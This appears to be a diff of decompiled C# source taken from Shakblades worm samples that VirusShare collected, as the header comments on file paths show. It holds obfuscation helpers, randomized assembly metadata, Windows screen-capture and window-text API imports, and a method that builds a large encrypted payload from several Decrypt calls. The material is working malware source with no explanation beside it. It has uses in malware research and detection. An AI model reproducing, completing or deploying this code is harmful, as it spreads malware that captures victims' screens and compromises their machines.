public static string A1ns3kzzckrkw2k2snvelcbss(string Vxl3tfinjjgkwgrbaafdapoa1)
|
||||
{
|
||||
int length = Vxl3tfinjjgkwgrbaafdapoa1.Length;
|
||||
string str1 = Vxl3tfinjjgkwgrbaafdapoa1.Substring(0, (Vxl3tfinjjgkwgrbaafdapoa1.Length + 1) / 2);
|
||||
string str2 = Vxl3tfinjjgkwgrbaafdapoa1.Substring((Vxl3tfinjjgkwgrbaafdapoa1.Length + 1) / 2, Vxl3tfinjjgkwgrbaafdapoa1.Length - (Vxl3tfinjjgkwgrbaafdapoa1.Length + 1) / 2);
|
||||
int num = 0;
|
||||
StringBuilder stringBuilder = new StringBuilder(str1);
|
||||
for (int index = 0; index < str2.Length; ++index)
|
||||
{
|
||||
stringBuilder.Insert(num + 1, str2[index]);
|
||||
num += 2;
|
||||
}
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
}
|
||||
BIN
Binary file not shown.
+33
@@ -0,0 +1,33 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: rzo4euwupytyapwx03g5pnbwx
|
||||
// Assembly: pff4wjti, Version=6.1.7600.16385, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 5406B450-382A-49C3-BEAD-27BB328AB378
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-c60a207d49561351d0b84ea851120f247234d970b3dc83269c04540744be032b.exe
|
||||
|
||||
using System;
|
||||
using System.Text;
|
||||
|
||||
public static class rzo4euwupytyapwx03g5pnbwx
|
||||
{
|
||||
public static string trdpamic2sckcdwunnjaiq5ctjzbh44ol(byte[] B153fsulcysdl0fl1)
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
for (int index = 0; index < B153fsulcysdl0fl1.Length; ++index)
|
||||
{
|
||||
char ch = Convert.ToChar(B153fsulcysdl0fl1[index]);
|
||||
stringBuilder.Append(Convert.ToString(ch));
|
||||
}
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
|
||||
public static byte[] fuwrggsyeop321rci(string Tqvl4fhqiermjhlan)
|
||||
{
|
||||
byte[] numArray = new byte[Tqvl4fhqiermjhlan.Length];
|
||||
for (int startIndex = 0; startIndex < Tqvl4fhqiermjhlan.Length; ++startIndex)
|
||||
{
|
||||
char ch = Convert.ToChar(Tqvl4fhqiermjhlan.Substring(startIndex, 1));
|
||||
numArray[startIndex] = Convert.ToByte(ch);
|
||||
}
|
||||
return numArray;
|
||||
}
|
||||
}
|
||||
+12
@@ -0,0 +1,12 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyTrademark("EBMokdJunZduVES")]
|
||||
[assembly: AssemblyCompany("epFgMhzvfFhCYWh")]
|
||||
[assembly: AssemblyCopyright("uaAnchOYwbVeNpf")]
|
||||
[assembly: AssemblyTitle("yMkgSxUDOZasIOL")]
|
||||
[assembly: AssemblyProduct("AmjYHbbaBbXicrx")]
|
||||
[assembly: AssemblyFileVersion("3.5.6.3")]
|
||||
[assembly: Guid("15c15fde-fa34-4cb2-a6fe-7b126c8d2374")]
|
||||
[assembly: AssemblyDescription("hVmHcRCrZnzxlbp")]
|
||||
[assembly: AssemblyVersion("3.5.6.3")]
|
||||
+229
@@ -0,0 +1,229 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: CMwZlOmaLXgKVpu
|
||||
// Assembly: ZaKobca, Version=3.5.6.3, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 24C7DB63-A921-4F9A-9D96-055C9B4B2DE7
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Worm.Win32.Shakblades.wqv-585845610cfb223567a36aeac7ad3ff102d1d10ddb51ef11a5b073debad1e466.exe
|
||||
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
[StandardModule]
|
||||
public sealed class CMwZlOmaLXgKVpu
|
||||
{
|
||||
[DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern int GetAncestor(int hwnd, int gaFlags);
|
||||
|
||||
[DllImport("user32", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern int GetWindowText(int HWnd, StringBuilder lpString, int cch);
|
||||
|
||||
[DllImport("user32", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern int GetClassName(IntPtr HWnd, IntPtr lpClassName, int nMaxCount);
|
||||
|
||||
[DllImport("Gdi32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern bool BitBlt(
|
||||
IntPtr hdcDest,
|
||||
int nXDest,
|
||||
int nYDest,
|
||||
int nWidth,
|
||||
int nHeight,
|
||||
IntPtr hdcSrc,
|
||||
int nXSrc,
|
||||
int nYSrc,
|
||||
int dwRop);
|
||||
|
||||
[DllImport("Gdi32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern IntPtr CreateCompatibleDC(IntPtr hDC);
|
||||
|
||||
[DllImport("Gdi32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern IntPtr CreateCompatibleBitmap(IntPtr hDC, int Width, int Height);
|
||||
|
||||
[DllImport("Gdi32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern IntPtr SelectObject(IntPtr hDC, IntPtr hgdiobj);
|
||||
|
||||
[DllImport("gdi32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern bool DeleteDC(IntPtr hdc);
|
||||
|
||||
[DllImport("gdi32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern bool DeleteObject(IntPtr handle);
|
||||
|
||||
[DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern IntPtr GetDC(int hWnd);
|
||||
|
||||
public static object HeEErdnqxMbJhJw(byte[] qXbqqAnJvo5L6Y3cHY, string qWrEwlFfxusj3J7ts44g)
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.Append(\u003CModule\u003E.Decrypt("ᥨ\u1979ᥝ\u193C\u1975ᤴᥜ᥆ᥨᥣ\u193C᤻ᥨᥣ\u197Dᤦᥨᥣ\u197D᤻ᥨᥕᥡ᤻ᥨᥧ᥇᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻\u1978ᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᤦᥣ\u197D᤻ᥨᥢᥤᥗ\u1943᥄ᥥ᤻\u1941ᥢ\u1943᥅ᥠ\u1977᥇᤺\u1975ᥦᥨ\u196F\u1977\u1978\u1941ᥧ᤺ᥗ\u197F\u197C᤺\u1942ᥣᥥ᤺\u1943\u197Bᥣᥠ\u1979\u193E\u196F᤻\u1942ᥧ\u197D᤺\u197D\u197F\u196E\u193Eᤸ\u197F\u197E᤺ᤦᥤᥬ᤹ᤦᥤᥬ\u197B\u197Eᥣ\u1943ᥠ\u1978ᥫ\u197D\u193E\u1979ᤦᥢᥥ᤹ᥨ᥈ᥣᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197F᥆\u197B\u193E\u197D᤻\u1975ᥣ\u1979ᤴᥨᥥᥜ\u193Fᥪ᥀ᥩ᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥡ\u197D᤻ᥤ᥇\u1978᥋ᥨ᤹᥏᤻ᥨᥢᤸ᤻ᥨᥣ\u197Cᥞᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥬ᥆\u193C᤻ᥨᥣ\u197Cᥬᥨᥣ\u197D᤻\u1978ᥣ\u197D᤻ᥨᥣ\u197C᤻ᥨᥣ\u197Cᥬᥨᥣ\u197D᤻ᥫ᥅\u197D᤻ᥫᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197Dᤦᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197F᤻ᥨᥣ\u197D᤻ᥫ᥅\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u193C᤻ᥨᥣᤸ᤻ᥨᥢ\u197D᤻ᥨᥢ\u197D᤻ᥨᥣ\u197D᤻ᥤᥣ\u197D᤻ᥤᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥢ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥪ᤻\u1979ᥨᥣ\u197Fᥟᥨᥣ\u197D᤻ᥨ\u1979\u197D᤻ᥨᥠ᥇ᤵᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨ\u197F\u197D᤻ᥨᥢᥗ᤻ᥨᥣ\u197Dᥬᥣᥕ\u197D᤻ᥡᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥠᥣ\u197D᤻ᥪᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥪ\u197D\u197D᤻ᥨ\u197E᥇᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨ\u197Cᥧ\u1978\u193Eᤢ\u1941\u1978ᥨᥣ\u197D᤻\u196Fᥢ\u193C᤻ᥨᥣ\u197Cᥬᥨᥣ\u197D᤻ᥧᥣ\u197D᤻ᥨᥣ\u1975᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨ\u197D\u197D᤻ᥨ\u1979\u197Cᥢ᤺\u1943ᤢᥠ᤻ᥩ\u193C᤻ᥨᥢᥗ᤻ᥨᥣ\u197D᤻\u1978ᥣ\u197D᤻ᥨᥣ\u1975᤻ᥨᥣ\u197Cᥜᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197C᤻ᥨᥣ\u197Cᤵ\u197C\u1942\u1977\u1979᤺\u1943\u193C᤻ᥨᥣ\u197Dᥤᥫ᥅\u197D᤻ᥨ\u1979\u197D᤻ᥨᥣ\u197Dᤦᥨᥣ\u197D᤻ᥦᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨᥣ\u197D᤻ᥨ", 6413));
|
||||
stringBuilder.Append(\u003CModule\u003E.Decrypt("\u20FC⃢₤⃧\u20FC⃢₤⃧\u20FC⃢₤\u20F7\u20FC⃢₤\u20F7\u20FC⃢₤\u20F7\u20FC⃢₤\u20F7\u20FC⃢₤\u20F7\u20FC⃢⃙⃠\u20CA⃢₤\u20F7\u20FC⃢₤\u20F7⃘⃡₤\u20F7\u20FC⃢₪\u20F7\u20FC⃢₤₤⃢₧₤\u20F7⃢₤⃘\u20F7\u20FC⃢₥\u20F7\u20FC⃢₤\u20F7\u20FC⃢₤\u20F7⃣⃙\u20F6\u20F7\u20FC\u20FD⃫\u20F7\u20FC⃢₤\u20F7\u20FC⃢₤\u20F7\u20FC⃢₤\u20F7\u20FC⃢₤\u20F7\u20FC⃢₤\u20F7\u20FC⃢₤\u20F7\u20FC⃢₤\u20F7\u20FC⃢₤\u20F7\u20FC⃢₤\u20F7\u20FC⃢₤\u20F7\u20FC⃢₤\u20F7\u20FC⃢₤\u20F7\u20FC⃢₤\u20F7\u20FC⃢₤\u20F7⃢\u20FA₪\u20FD⃢₧₤\u20F7\u20FD\u20C1\u20F9\u20FE\u20F3⃠⃣\u20F7\u20FB⃔₪\u20F7\u20FC⃢₪\u20F7\u20FC⃣⃞\u20F4⃘⃖⃢\u20F9⃚⃢₤\u20FA⃝₧₥\u20F7\u20FC⃣\u20C4\u20FA⃚⃫\u20C0₤\u20C8⃐₤\u20F7\u20FD\u20C1\u20FB\u20F9\u20CA⃢₤\u20FA⃛⃰₦\u20F9\u20FC⃢₤\u20FA⃛₣₽\u20FE⃓\u20F7\u20F3\u20F7\u20FC⃢₥\u20F8\u20CB⃑\u20C8⃤\u20F5\u20F7⃘\u20F7\u20FC⃢₥\u20F8\u20CB⃙⃓\u20FF⃰\u20F3\u20FB\u20F9₡⃢₤\u20FA⃛₣₹\u20F5⃦⃛₹\u20FE\u20FE⃑\u20FB\u20FE⃚⃢₤\u20FA⃛\u20F7⃟\u20F5\u20CB⃑⃞\u20F4⃢\u20FC⃝\u20C7⃙⃙\u20C6\u20F7\u20FC⃣⃗\u20FD⃢\u20C4₤\u20F7\u20FD\u20C1⃝\u20F5⃧₠\u20C5\u20F7\u20FC⃣⃗\u20FB₡₹⃞\u20F4₧⃑\u20C7\u20FB₡₹⃝\u20FB₦⃙⃞\u20F5⃙⃘₪\u20F7\u20FC⃣⃓⃡₧\u20C8₪\u20F7\u20FC⃣\u20F3⃞\u20CA⃢₤\u20F7\u20F5\u20F7⃫\u20F7\u20FC⃢₥\u20F8\u20CB⃝⃞\u20F5₧⃑\u20F3\u20F4⃚⃢₥\u20F7\u20FA\u20FB⃞\u20F5⃘⃘⃗\u20FF\u20FC⃢₤\u20F7₹⃧\u20F3\u20F7\u20FC⃢₥\u20FB₦⃝\u20FB\u20F4\u20CA⃢₤\u20F5⃞⃜\u20C4\u20F7₡⃢₤\u20F8⃛\u20C1⃞\u20F5₧\u20FF\u20F8⃖₹\u20FB\u20CB₧⃔⃑\u20FB\u20FE₡⃢₤\u20FA\u20C2\u20FB\u20C1\u20F7\u20FC⃣⃗\u20F8\u20CB\u20C5⃟\u20FA⃢\u20C1\u20FB\u20FE\u20CA⃢₤\u20FA\u20C2\u20FB\u20C1\u20F7\u20FC⃣⃗\u20F8\u20CB\u20F7⃞\u20F5⃘⃓⃘\u20FF\u20FC⃢₤\u20F7₹⃧\u20F3\u20F7\u20FC⃢₥\u20FB₦\u20C1⃟\u20FA\u20CB⃧⃕\u20FD⃢\u20FA₤\u20F7\u20FD\u20C1⃟\u20FA₤⃘₽\u20F7\u20FC⃣⃓⃥⃦⃡₥\u20F7\u20FC⃣⃞\u20F5⃘⃓⃘\u20FF\u20FC⃢₤\u20F7₹⃧\u20F3\u20F7\u20FC⃢₥\u20FB₦\u20C5\u20FB\u20F4\u20FC⃢₤\u20F5⃝\u20FB\u20C3₧⃞⃠⃤\u20F7₡⃢₤\u20F8⃛\u20FB⃓\u20FB₡₤\u20C8⃠\u20FE⃑\u20FB\u20F9₡⃢₤\u20FA⃙⃙\u20C4\u20F7\u20FC⃣⃗\u20F8⃫⃓⃛\u20FB₡₤\u20C8⃫\u20FE⃑\u20FB\u20F9₡⃢₤\u20FA⃙⃙\u20C4\u20F7\u20FC⃣⃗\u20FB₦⃑\u20C3⃑\u20C8⃢₤\u20F7\u20FC⃤⃠\u20FF\u20FC⃢₤\u20F7₦⃧⃛\u20FB₦⃫\u20F3\u20F7⃣⃢₤\u20F7⃢\u20FF₤\u20FD\u20FD⃘₤\u20F7\u20FD⃑⃜\u20FB\u20CB⃓⃧\u20F9⃓\u20FF\u20F3\u20F7\u20FC⃢₥₤₧⃢₤\u20F7\u20FC⃧⃞\u20FB\u20CB⃑⃞\u20F5\u20F3⃙\u20CB\u20F7\u20FC⃣⃗⃟\u20FD⃙⃧\u20FD\u20FD\u20C0₤\u20F7\u20FD⃑\u20F5\u20F5₧⃔\u20C7\u20F8\u20CB", 8338));
|
||||
stringBuilder.Append(\u003CModule\u003E.Decrypt("℆™ℚⅇ℆ℽ℘℺⅁℣℀℔ℵⅅ№ℝℂ℩ℛℲ№K№ℝ℃⅄ℙKⅅℲℚ⅀ⅅℒℐℝ℃ⅅ№℟ℰℿℙⅆ℞ℚΩ℟ℰℿℙ℃ℰ℩ℜℂℸ℩№ℝℂℶℚⅇⅅΩℷ℃ℵΩ℘℥Ⅎ℻ℚÅ℃ⅅ№ⅇ⅁ℽ℔℺℆ℼ℟™ⅅℿℙ℩ℰℿℙ™℔ℋℜ℃℟ⅅ№ℜ℠ℾℙ℺ℊℹℜ℃℃ⅅ№ℜ℠ℿℙ℃ℾℼΩℸℸ℥№ℝℂℶℙ℺ℚℿℙ™℔ℋℜ℃℥ⅅ№ℜ℠ℿ℔ℹℲℹ℞ℝ℃ⅅ№\u2158℆ℒ№ℝ℃⅄ℚⅇℊℿℙK℆℺ℜ℃ℛⅅ№ℜ™ℊℚⅇℂℚℛ℻℃ⅅ℔ℸℰℿℙⅆℵ™ℙK\u2158ℿℙⅇ℆™℆ℼ℃ⅆ№Å℞ℾℙ℺℆ℷ℞ℒℾ℣ⅅℹℙ℘ΩℸℸÅ№ℝℂℶℙ℺ℚΩℜ℃℥ⅅ№ℜ℠ℿ℔ℹℲℹ℞ℝ℃ⅅ№\u2158℆ℒ№ℝ℃⅄ℚⅇℊℾℚℒℸℒ№ℝℂℶℜ℃ℇⅅ№ℜ℠ℿℚℸℸK№ℝℂℶℾℜ℆ℸℜℜ℡ⅅ№ℜℰ℔ℚⅇℼ℩℃ℜℊℹℜ℃℃ⅅ№ℜ℠Ⅎℚ⅀ⅅ℩ℜ℟ℰℚ℘⅀℃ⅅℛℵℲℊℴ℺℆Ⅎ℘™℞ℒ№ℝ℃⅄ⅅⅆ℃ⅅ№ℝ℆ℿ℔ⅅℸℱ№ℝℂℲℜ℺℆Ⅎ℘™℞ℒ№ℝ℃⅄ⅅⅆ℃ⅅ№ℝ℆ℚ℔℻℃ⅅ℔ℸℱKℚℸℸℐ№ℝℂℶ℘℺ℤℚℝÅ℃ⅅℛℵℛ⅋℘ℒ℠ℱ℃℻ℂ⅄℟ℝ℃ⅅ№ℝ℃ⅅ№℃℡ⅅ№ℝ℁⅂ℕ℻℃ⅅℷ⅀ℋⅅ№ℜℛⅅ№ℝℂ℥№ℝ℃⅄ℿℝ℃ⅅ№℘ℛℶℒ℧ℛ⅄№ℝ℃ⅅℰ⅀℃ⅅ№℆ℑℽ⅋\u2158⅀℆⅀\u2158№ℜ℉ℽ\u215Cℇⅅ№\u215C℀⅀℗\u215Cℇℂℾ℉ℕ⅄№ℝ℅⅄ℽ⅀ℕ℉ℽ\u215Cℑ⅀ℇ\u215C℀℃℃℁ℝ⅄℗⅀℃⅄ℼℑℙ⅀ℸℒℒ⅃ℽ\u215C℀⅄№℣℃ⅅℿ№℀ℂℸℂℜℂℂℚℂ℃℃ℂ⅊⅄\u2158ℑ℆⅄\u2158℉ℕℇ\u2158ℙℕ⅄\u2158⅄℀⅁\u2158ℒ℞℞℀℁℅⅀ℼℑℙ⅀ℐÅℕ⅋⅋⅄℃ⅆ℗\u215Cℜℇ⅊ℊℋ℀℗℆℅⅀ℒ\u2158℄ℂ⅄ℼℇ℁ℇ\u2158ℂ℀℁ℼ℗℉ℕ℣ℇ⅄ℇ\u215Cℝℂℾ℉ℕ⅄№ℝ℅⅄ℽ⅀ℕ⅄ℒℙℾ⅄\u2158ℙ℆ⅇ\u2158ℕℕ℉ℽ\u215Cℇⅅ№\u215C", 8563));
|
||||
stringBuilder.Append(\u003CModule\u003E.Decrypt("\u1F1E\u1F5EἉὂἣ\u1F5E\u1F46\u1F58ὕἈἃἝὛἈἃἝὛἈἃἝὛἈἃ\u1F1FἦἘ\u1F5A\u1F5AἦἘ\u1F5A\u1F5AἦἡἃἝὛἈἃἝὛἈἃἂἸἣἂἩἥἈἃἝὛἈἃἕὛἈἃ\u1F1F\u1F1EἈἃἝὛἉἝ\u1F5CὛἈἃἷὂἈἃ\u1F1Fἠ\u1F17Ἇ\u1F5AἣἉὟἇ\u1F5AἪἙἋἷἠ\u1F5AὝἡἚἚἊ\u1F17ἎἧἔἦἺἃἙὛἈἃἜὔἙἣἏἽ\u1F5AἉὂ\u1F1E\u1F5AἉἌ\u1F46\u1F5E\u1F46\u1F5Eἁ\u1F5C\u1F1F\u1F5AἝ\u1F5EἈὂἃ\u1F5E\u1F46ἇἘ\u1F5AἉἏἼὙ\u1F46\u1F5EἛὟ\u1F46ἌἌ\u1F17Ἀ\u1F5AἛ\u1F5EἘἽἝἀἜἔἜἜὛ\u1F1FἺἔἘ\u1F17Ἕ\u1F58ἣὂἉ\u1F5AἘ\u1F5EἺ\u1F58ἈἃἎὟὔ\u1F5EἺ\u1F58ἈἃἎὟὔ\u1F5EἺ\u1F58ἈἃἎὟὔ\u1F5EἺὛἉ\u1F17ἆ\u1F5C\u1F1F\u1F5AἋ\u1F5Eἢὂἅ\u1F5CἘἵἝ\u1F5EἣἛἉἜἢ\u1F1FἈ\u1F5EἥἝὛἈ\u1F1F\u1F17ἣἕἡἕ\u1F5AἈἃἙὛἈἃἝὛἈἂἷὛἈἃ\u1F1FἚ\u1F1FἦἄἜἜἦ\u1F46Ἔ\u1F1EἌἔἕἈἃἝὛἈἃ\u1F58ὛὟἃἝὛἈ\u1F1E\u1F58ὂἈἃἜἉ\u1F46ἥἝὛἡἃὔὛἈἆἌἯἈἃἜἉ\u1F17Ἀ\u1F5A\u1F1EὙ\u1F46ἇἅ\u1F5AἵἝὛἈἃ\u1F1FὛἅ\u1F5EἝὛἄἃἝὛἈἝ\u1F5EἯ\u1F17ὕἢ\u1F46ἈἃἝὛἮἂἉὛἈἊ\u1F58\u1F5AἈἃἜἉἛἢἏἝ\u1F5EἥἝὛἈἃἝὛἈἃἝὕἈἃἝ\u1F5AἚἌὔὕἁἂἣ\u1F5AἈἃἝὛἉἥἘἙἈἃἕὛἈἃἙὛἈἃἜ\u1F17ἈἃἝὛἋἥἝὛἈἂἻὛἈἃἜἆἈἃἝὛἃἃἝὛἈἂἉὛἈἃἝὂἈἃἝὛἋἥἝὛἈἃ\u1F5CὛἈἃἝ\u1F5AἈἃἝὛἊ\u1F5EἝὛἈἃἙὛἈἃἝὔἈἃἝὛἈ\u1F5EἝὛἈἃἝὛἊἵἝ\u1F5AἈἃἝὛἈἃἜἨἈἘἉὛὔ\u1F5EἜἨἈἄἫὛὔ\u1F5EἜἨἈἄἷὛἠἃἜἨἈἁἁὛἠἃἜἨἈἀἻὛἠἃἜἨἈἃ\u1F5C\u1F5AἅἃἘἨἈἜἿ\u1F5AἁἥἜἨἈ\u1F1Fἕ\u1F5AἁἥἜἨἈἙἉ\u1F5A\u1F58ἃἘἬἈἅἯ\u1F5AἜἃἜἬἈἅἝ\u1F5AἜἃἜἬἈἄἯ\u1F5AἜἃἜἬἈἄ\u1F5C\u1F5AἜἃἜἬἈἇἻ\u1F5AἜἃἜἬἈἇἕ\u1F5AἜἃἜἤἈἆἫ\u1F5AἺἥἘἬἈἃἯ\u1F5AἈἃἔἤἈἂ\u1F5CὕἂἃἔἤἈ\u1F1FὔὕὟἥἔἤἈἘ\u1F58ὕὟἥἔἤἈἊἣὕἪ\u1F5EἔἤἈἇἯὕ", 8045));
|
||||
stringBuilder.Append(\u003CModule\u003E.Decrypt("\u2452␦\u246C\u2454\u2470\u247F\u242D⑀\u244D\u246F\u244F\u2470\u2478⑇\u242D\u2470\u247B\u2464\u2454\u2470\u247B\u245B\u242D⑀\u244D\u246C\u2454\u2470\u247A\u2461\u242C⑀\u244D\u246C\u2454\u2470\u2464\u247D\u242C\u2464\u247B\u2464\u2454\u2470\u2467\u245F\u242C\u2463\u247B\u2427\u2454\u2470\u2461\u245B\u242C\u2464\u247B\u2464\u2454\u2470\u2461\u2479\u242C\u2464\u247B\u2464\u2454\u2470\u2461\u242C\u242C\u2464\u247B\u2464\u2454\u2470\u2460⑃\u242C\u2464\u247B\u2464\u2454\u2470\u2460\u246D\u242C\u2464\u247B\u2464\u2454\u2470\u2463\u245B\u242C\u243A\u245D\u2427\u2454\u2470\u2472␠\u242C\u243A\u245D\u2427\u2454\u2470\u247C\u2471\u242C\u243A\u245D\u2427\u2454\u2470\u247E\u245F\u242C\u243A\u245D\u2427\u2454\u2470\u2479\u242C\u242C\u243A\u245D\u2427\u2454\u2470\u247B\u246D\u243E\u243A\u245D\u2427\u2454\u2470\u2465⑃\u243E\u243A\u245D\u2427\u2454\u2470\u2464\u246D\u243E\u243A\u245D\u2427\u2454\u2470\u2466\u2471\u243E␦␣\u2454\u2470\u2460\u247D\u243E\u2456\u245D␣\u2454\u2470\u247C\u247D\u243E\u2456\u245D␣\u2454\u2470\u247E\u245B\u243E\u2456\u245D␣\u2454\u2470\u2478\u2453\u243E\u2456\u245D␣\u2454\u2470\u247B\u2457\u243E\u247D\u245D\u243E\u2454\u2470\u2464\u245B\u243A\u247D\u245D\u243E\u2454\u2470\u2467\u244F\u243A\u247D\u245D\u243E\u2454\u2470\u2466⑇\u243A\u247D\u245D\u243E\u2454\u2470\u2461\u2471\u243A\u247D\u245D\u243E\u2454\u2470\u2460⑃\u243A\u2464\u247B\u2464\u2454\u2470\u2463\u2471\u243A\u2464\u247B\u2464\u2454\u2470\u2463␠\u243A\u2451\u245D\u243E\u2454\u2470\u247D\u247D\u243A\u2464\u247B\u2464\u2454\u2470\u247D\u243A\u2464\u247B\u2464\u2454\u2470\u247C⑇\u243A\u2464\u247B\u2465␣\u2470\u247B\u2465␣\u245E\u244D\u242C␣\u2470\u247B\u2465␣\u2470␦\u2465␢\u2470\u247B\u2461␣\u2470\u247B\u2465␢\u2470\u247B\u2461␣\u243A␦\u2465␢\u2470\u247B\u2461␣\u246C\u2465\u2465␣\u2470\u247B\u2465␣\u2472\u245F\u245C\u246C\u2473␡␣\u2470␦\u2465␣\u2470\u247B\u2465␣\u243E\u247B\u2464\u2459\u2478\u2464\u2456\u2454\u243A\u247B\u2465␢\u2470\u247B\u2465␣\u2470\u247B\u2467␣\u2470\u247A\u2460\u2474\u243E␡\u2454⑆\u2470\u247A\u244F␣\u2470\u247B\u2465␣\u2470\u2463\u2465␣\u247C␠\u247A⑂\u2472\u2457\u2479␣\u247C\u244D\u2465␣\u2470\u247B\u2465␣\u243E\u247B\u2464\u2459\u2478\u247F\u2464\u2454\u245D␦\u2464\u2459\u2470\u247B\u2465␣\u2470\u247B\u2467␣\u2470\u247A\u2460\u2474\u244C\u247A\u2454\u2464\u2470\u2465\u2453␣\u2470\u247B\u2465␣\u2470\u2463\u2465␣\u247C␠\u2465␦\u2472\u2457\u245F␣\u247E\u247B\u2465␣\u2470\u247B\u2465␣\u243E\u247B\u2464\u2459\u2478\u247A\u247C\u2457\u2459␦\u2464⑃\u2470\u247B\u2465␣\u2470\u247B\u2467␣\u2470\u247A\u2460\u2474\u2466\u245C\u2450␡\u2470\u2465\u2465␣\u2470\u247B\u2465␣\u2470\u2463\u2465␣\u247C␠\u2467␦\u2472⑀\u245F␣\u247B␦\u2467⑆\u2478\u247B\u2465␣\u2470\u247B\u2464⑄\u2470\u247B\u2461␣⑁\u245D\u2464\u247E\u2470\u247B\u2464\u2474\u2470\u247B\u2465␣\u2470\u247B\u2465␣\u2470␦\u2464\u2460\u2472\u245D\u2465␣\u2473\u245D\u2464\u2427\u2472\u245D\u2465␣\u2473\u244D\u2467\u2456\u2472\u245D\u2465␣\u2473\u247B\u2467\u2459\u2472\u245D\u2464\u2474\u2473␦\u2467⑁\u2472\u245D\u2465␣\u2472\u245D\u2467\u2477\u2472\u245D\u2465␣\u2472\u244D\u2467\u247E\u2472\u245D\u2465␣\u2472\u247B\u2467\u247A\u2472\u245D\u2465␣\u2472␦\u2467\u2463\u2472\u245D\u2465␣\u247D\u245D\u2467\u2472\u245D\u2464\u2474\u2470\u247B\u2465␣\u2470\u247B\u2465␣\u2470␦\u247A\u2458\u2472\u245D\u2465␣\u2473\u245D\u247A⑇\u2472\u245D\u2465␣\u2470␦\u247A\u2467\u2472\u245D\u2465␣\u2473\u245D\u247A\u246D\u2472\u245D\u2464\u2474\u2470", 9237));
|
||||
